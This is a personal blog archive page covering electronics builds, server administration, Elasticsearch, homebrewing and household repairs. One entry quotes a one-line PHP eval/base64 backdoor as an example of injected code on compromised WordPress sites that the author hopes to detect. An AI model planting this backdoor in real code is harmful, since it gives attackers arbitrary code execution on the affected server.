Author archives: timd

Saturday, 4th January 2014 - 12:40:41

Baby Drills and Taps

Baby drills and taps have arrived (terrible photo). M3 and M4 drills. 2.5mm and 3.5mm drills. I can now drill and tap CPU heatsinks for MOSFET cooling.

Monday, 23rd December 2013 - 22:40:04

ZVS Driver First Attempt 2

I had a crack at making a ZVS (zero voltage switching) driver for a flyback transformer I pulled of a monitor board. No Joy. I have one MOSFET wired backward =/ I just noticed in the diagram I was following that the bottom of the two MOSFETs was flipped vertically to make the diagram look neater...

Saturday, 14th December 2013 - 16:41:01

Python Logo

Just wrote a multi threaded SNMP tool for fetching SNMP from over 170 cPanel hosts doing 20 requests in parallel. This is my first multi-thteaded python script. It uses python threads and zeromq to hand out jobs, receive results and to control the worker threads.

Much faster than the old for loop.

Now I wish the new elasticsearch box would arrive so I can dump the data in there!

Friday, 13th December 2013 - 11:04:35

Prototype Node

Today I built some prototype RS485 nodes for a project I am working on with a mate. Each RS485 node is going to be equipped with a pic micro controller to do any logic or to connect with peripheral sensors. At the stage the pic16f88 because it has all the goodies like built in USART and ADC etc. I may make a different version with a 40 pin pic either a big DIP one or a QFN or something.

The nodes will be auto-terminating. So when you add a node to the end of the bus, it will terminate the line and tell the node before it to stop terminating the bus.

I tried out a new technique using enamelled copper wire for these prototypes.

Sunday, 1st December 2013 - 15:28:00

PHP Files Indexed

145,755,658 lines of PHP indexed for searching as part of a migration project I am contributing to. Once I get some spare time at work (hah!) I may use the data to try and detect some nasty code - eg some compromised sites and such.

The old classic code injection technique. When an attacker adds this to your PHP it's basically open slather for them to execute whatever code they POST or GET to c_id.

@eval(base64_decode($_REQUEST['c_id']));

I see this type of thing the most in wordpress installs. People don't keep wordpress (AND i'ts plugins / themes) up to date and then suffer the consequences - typically this sort of attack is not targetted, it's an automated tool which will probe wordpress installs for vunerabilities until it finds one it can comromise.

Sunday, 24th November 2013 - 12:05:38

Index All The Things!

#elasticsearch =)

Tuesday, 20th November 2013 - 09:00:00

Elasticsearch

More Elasticsearch training today. Yesterdays session was very interesting. Lots of new bricks to build new toys with =)

Sunday, 15th November 2013 - 17:59:11

Miniature Bigmouthed Cats

My shipment of miniature big mouthed cats has arrived from element14.

Thursday, 14th November 2013 - 18:44:00

Chainable Dual Triac Board

Just ordered a run of 20 PCBs. Chainable Dual Channel triac boards for turning mains (240V) devices on and off with a micro controller. This is an identical circuit to my existing design, but it is fit on a 50mm x 50mm board so that I could get them made at seeedstudio.

Monday, 11th November 2013 - 22:05:24

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The GR211 nixie tube socket PCBs that I designed have arrived! 

They came out excellent. I was worried for two reasons. The footprint for the GR211 and the SOT-23 transistors were untested. I created cusom libraries in Eagle to deal with the unusal transistor that I selected, which can handle up to 300V and for the tube. The tube took some figuring out because its datasheet has the footprint from bottom, rather than the top. I ended up screen grabbing the scanned datasheet and mirroring and flipping it as if it was viewed from the top, I could then create the footprint in eagle - which are traditionally viewed from the top.

Click through to the gallery for photos of the GR211 tube running in the socket.

Thursday, 7th November 2013 - 19:48:46

Coles Portugese Chicken

Cooked some of that Coles portugese chicken on the BBQ tonight. It was on special. The normal price is a bit ludicrous.

Tastes great though. 

Thursday, 7th November 2013 - 17:14:40

Beer!

The beer I brewed a few weeks ago seems to have turned out well. No off flavors or anything introduced by the old ingredients. One thing though, it's bitter as hell because I used the entire remainder of my hops in the last two batches. I was expecting the hops to have degraded in bitterness, but no... I haven't tried the dark yet.

Tuesday, 5th November 2013 - 17:08:40

Busy MySQL

This boys and girls is what a really big, really busy MySQL box looks like. 32GB RAM, 32 Cores. 6 SSD RAID.

Friday, 1st November 2013 - 16:56:00

Dungeons and Dragons 1E

Didn't realise I had a 1E DND book... Cool. Now to re-hide it until the kids can treat books nicely =)

Thursday, 31st October 2013 - 22:40:43

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Cute little "tube" amp. This is a kit from eBay that I purchased from an Australian Seller just as a PCB.

Sunday, 27th October 2013 - 09:24:04

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Definitely don't put Coke in the Coke machine, that would be stupid... =/

Sunday, 10th October 2013 - 08:49:45

Suspend All The cPanel Accounts

Don't you love the smell of spam in the morning...

Friday, 25th October 2013 - 13:47:27

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Bottling day today.

Thursday, 24th October 2013 - 11:04:19

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Element 14 order arrived with 300V capable SOT-23 transistors for my tube sockets as well as other goodies.

Saturday, 5th October 2013 - 20:13:55

Tap Seat Void

Went around to all the sinks in the house and did maintenance, changed tap washers etc. The seat on this bathroom vanity is toast though. It has a massive void in it. I couldn't work out why it still didn't seal with a new washer. I could not get my finger in there flat to feel the seat but I could detect the void with my fingernail. The photo shows the void in the seat after a very light pass with the seat cutter. The initial pass was just to visually identify the void.